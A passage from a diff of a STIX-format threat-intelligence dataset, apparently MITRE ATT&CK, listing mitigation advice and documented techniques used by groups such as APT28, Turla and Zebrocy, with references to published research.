"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b1f2329b-3558-4310-ac3c-6112ac01cb42", + "modified": "2019-07-17T19:25:38.363Z", + "source_ref": "course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Install software in write-protected locations.", + "type": "relationship", + "created": "2019-06-20T15:02:56.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5edd0b13-3d4f-4fe8-bd37-ece03d0562a2", + "modified": "2019-07-17T19:22:37.693Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Update software regularly to include patches that fix DLL side-loading vulnerabilities.", + "type": "relationship", + "created": "2019-06-20T15:02:56.681Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11180662-ca5e-4603-b7c9-64b3259cc081", + "modified": "2019-07-17T19:22:37.708Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities.", + "type": "relationship", + "created": "2019-06-20T15:39:37.667Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--25a84607-970c-474e-83bc-143e2ccbb64b", + "modified": "2019-07-17T21:23:45.627Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent adversary access to privileged accounts or access necessary to replace system firmware.", + "type": "relationship", + "created": "2019-06-20T15:39:37.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4dafcd2-fed8-4266-b83e-f4033ada0d55", + "modified": "2019-07-17T21:23:45.639Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification.", + "type": "relationship", + "created": "2019-06-20T15:39:37.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f365854f-76e6-4746-bab8-2f2b94b50087", + "modified": "2019-07-17T21:23:45.641Z", + "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses cmd.exe to execute commands on the system.", + "type": "relationship", + "created": "2019-06-20T15:44:46.309Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b7cd3903-1b6d-4163-b7cf-97dbdeefda05", + "external_references": [ + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-17T01:18:33.128Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When flood volumes exceed the capacity of the network connection being targeted, it is typically necessary to intercept the incoming traffic upstream to filter out the attack traffic from the legitimate traffic. Such defenses can be provided by the hosting Internet Service Provider (ISP) or by a 3rd party such as a Content Delivery Network (CDN) or providers specializing in DoS mitigations.\n\nDepending on flood volume, on-premises filtering may be possible by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport.\n\nAs immediate response may require rapid engagement of 3rd parties, analyze the risk associated to critical resources being affected by Network DoS attacks and create a disaster recovery plan/business continuity plan to respond to incidents.", + "type": "relationship", + "created": "2019-06-20T15:44:50.969Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--52fcde3f-d3af-4785-940f-5856dd657455", + "external_references": [ + { + "source_name": "CERT-EU DDoS March 2017", + "description": "Meintanis, S., Revuelto, V., Socha, K.. (2017, March 10). DDoS Overview and Response Guide. Retrieved April 24, 2019.", + "url": "http://cert.europa.eu/static/WhitePapers/CERT-EU_Security_Whitepaper_DDoS_17-003.pdf" + } + ], + "modified": "2019-07-18T16:33:41.901Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) installed a Delphi backdoor that used a custom algorithm for C2 communications.", + "type": "relationship", + "created": "2019-06-20T16:11:36.504Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea2f41fe-0701-4607-aa70-d6531c7461c6", + "external_references": [ + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-27T00:09:36.933Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent critical business and system processes from being replaced, overwritten, or reconfigured to load potentially malicious code.", + "type": "relationship", + "created": "2019-06-20T16:15:33.398Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f860fbe9-94c0-4e04-85b7-d3b29fd044ab", + "modified": "2019-07-18T17:56:46.219Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper registry permissions are in place to inhibit adversaries from disabling or interfering with critical services.", + "type": "relationship", + "created": "2019-06-20T16:18:23.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c00535d0-6e59-4293-8034-70e5bf94a74a", + "modified": "2019-07-18T19:18:32.970Z", + "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper process and file permissions are in place to inhibit adversaries from disabling or interfering with critical services.", + "type": "relationship", + "created": "2019-06-20T16:18:23.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e28dc4ab-86fe-480e-9f0d-d7fab54c432d", + "modified": "2019-07-18T19:18:32.968Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Operate intrusion detection, analysis, and response systems on a separate network from the production environment to lessen the chances that an adversary can see and interfere with critical response functions.", + "type": "relationship", + "created": "2019-06-20T16:18:23.058Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--40cd458c-5a59-4a8d-a04a-3cd3faebaf66", + "modified": "2019-07-18T19:18:32.969Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.", + "type": "relationship", + "created": "2019-06-20T16:21:24.870Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--face1abc-1336-4e47-8f72-7108f3296f24", + "external_references": [ + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + } + ], + "modified": "2019-07-18T18:26:38.326Z", + "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider encrypting important information to reduce an adversaries ability to perform tailored data modifications.", + "type": "relationship", + "created": "2019-06-20T16:21:24.881Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6e72241f-a6a6-43e5-99b0-b32e1aee7077", + "modified": "2019-07-18T18:26:38.345Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) executes the reg query command to obtain information in the Registry.", + "type": "relationship", + "created": "2019-06-20T16:44:52.810Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c4e03a2f-3617-4017-8dab-8904b1060c87", + "external_references": [ + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-17T01:18:33.126Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses netstat -aon to gather network connection information.", + "type": "relationship", + "created": "2019-06-20T16:44:52.842Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1df5eebc-94f5-44ae-8feb-8d3a89fbfc4e", + "external_references": [ + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-17T01:18:33.179Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) runs the ipconfig /all command.", + "type": "relationship", + "created": "2019-06-20T16:44:52.847Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7c18e59d-3448-462c-aaa7-bf03b9ea5780", + "external_references": [ + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "modified": "2019-07-17T01:18:33.176Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Encrypt all important data flows to reduce the impact of tailored modifications on data in transit.", + "type": "relationship", + "id": "relationship--9047a58e-6123-4456-ab17-6917934c8faa", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-20T16:56:29.414Z", + "modified": "2019-06-20T16:56:29.414Z", + "source_ref": "course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Develop and publish policies that define acceptable information to be stored in repositories.", + "type": "relationship", + "created": "2019-06-20T18:55:36.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ffde834-36f9-463d-93c4-77048f020cf9", + "modified": "2019-07-17T18:51:33.920Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Consider periodic review of accounts and privileges for critical and sensitive repositories.", + "type": "relationship", + "created": "2019-06-20T18:55:36.343Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eacf09ab-0264-4af8-bfa5-f3be9df47e3f", + "modified": "2019-07-17T18:51:33.949Z", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have included local UPnP RPC proxies.\t", + "type": "relationship", + "created": "2019-06-20T20:53:17.534Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e162cdf-e917-4bc5-a2d2-1623e05d0b61", + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + } + ], + "modified": "2019-07-14T21:04:45.420Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can collect files from USB thumb drives.", + "type": "relationship", + "created": "2019-06-20T20:53:17.550Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad2efb21-6884-422f-8e89-fc0b1d2dcbb0", + "external_references": [ + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "source_name": "Symantec Waterbug Jun 2019", + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. 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(2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-17T19:16:41.794Z", + "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent credential overlap across systems of administrator and privileged accounts.", + "type": "relationship", + "created": "2019-06-21T13:56:39.436Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1e0c4d65-a4db-42e0-9eb0-93354ad56d06", + "external_references": [ + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + } + ], + "modified": "2019-07-17T20:04:40.552Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Close all browser sessions regularly and when they are no longer needed.", + "type": "relationship", + "created": "2019-06-21T13:58:04.205Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8d6d88c3-dbfe-492a-8c4c-ee4bfc10bdc3", + "modified": "2019-07-18T15:36:27.537Z", + "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Deny remote use of local admin credentials to log into systems. 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Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed.", + "type": "relationship", + "id": "relationship--9f424168-dc5b-45ea-998f-2d5bd48e524b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-21T14:16:08.448Z", + "modified": "2019-06-21T14:16:08.448Z", + "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate some obfuscation activity at the network level.", + "type": "relationship", + "created": "2019-06-21T14:17:49.609Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--82cf0b15-1cd0-4539-b3fe-63ee4d379113", + "modified": "2019-07-17T18:54:32.602Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages.", + "type": "relationship", + "created": "2019-06-21T14:27:36.642Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0a4f78d-4257-4597-ade6-ac9e0c527775", + "modified": "2019-07-17T20:11:10.928Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network.", + "type": "relationship", + "created": "2019-06-21T14:27:36.648Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--957ca941-c089-4059-ba09-1c1d4cf62881", + "external_references": [ + { + "source_name": "US-CERT Alert TA15-314A Web Shells", + "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", + "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A" + } + ], + "modified": "2019-07-17T20:11:10.933Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "type": "relationship", + "created": "2019-06-21T14:29:50.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1469ff36-c655-4513-8ffa-81dcb55c4ae6", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-17T21:17:03.583Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "type": "relationship", + "created": "2019-06-21T14:35:00.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3024f916-b25c-4dd8-aab3-4d681b335da1", + "modified": "2019-07-18T21:21:18.325Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", + "type": "relationship", + "id": "relationship--3a348ba8-5608-4e9b-a180-f66cfad9896e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-21T14:45:42.420Z", + "modified": "2019-06-21T14:45:42.420Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Traffic to known anonymity networks and C2 infrastructure can be blocked through the use of network black and white lists. It should be noted that this kind of blocking may be circumvented by other techniques like [Domain Fronting](https://attack.mitre.org/techniques/T1172).", + "type": "relationship", + "created": "2019-06-21T14:49:08.326Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--61fce9a6-301a-48c6-949a-620fa1ca283c", + "modified": "2019-07-18T16:27:30.959Z", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "type": "relationship", + "created": "2019-06-21T15:00:51.735Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41931cc0-5bbb-490a-8195-18e4f83bd0bc", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-18T16:28:55.394Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.", + "type": "relationship", + "created": "2019-06-21T15:02:49.934Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b7bf4376-28f5-44db-86fa-1f68b99146af", + "external_references": [ + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-18T16:29:29.343Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to remote access services.", + "type": "relationship", + "created": "2019-06-21T15:13:50.808Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d5c70727-794c-4404-b30d-0d798a62ad64", + "modified": "2019-07-18T17:42:08.984Z", + "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.", + "type": "relationship", + "created": "2019-06-21T15:15:19.160Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ddae833-8280-4afa-b2b0-e250e22104fe", + "external_references": 